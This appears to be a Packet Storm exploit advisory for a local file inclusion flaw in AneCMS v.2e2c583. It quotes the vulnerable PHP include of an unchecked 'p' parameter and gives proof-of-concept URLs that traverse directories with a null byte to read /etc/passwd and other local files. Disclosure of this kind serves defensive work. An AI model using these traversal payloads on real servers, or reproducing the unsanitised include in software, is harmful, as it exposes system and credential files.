AneCMS version 2e2c583 suffers from a local file inclusion vulnerability.
9e8d6f19ac3c731e550ba6cb8a3a077e6454c5086b382ad073456a0a1185216d# Exploit Title: AneCMS v.2e2c583 LFI exploit
# Date: 03.04.2012# Author: I2sec-PJH
# Software Link: https://github.com/AneGroup/AneCMS
# Version: v.2e2c583 -----------------------------------------------------
-Description vulnerabilities have been discovered in the index page.
-source of index.php
1. if (isset ($ _GET ['p']))2. include '. / pages /'. $ _GET ['p']. '. php';
-PoC
http://localhost/index.php?p=../../../../etc/passwd%00
http://localhost/index.php?p=../../../../[localfile]%00
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed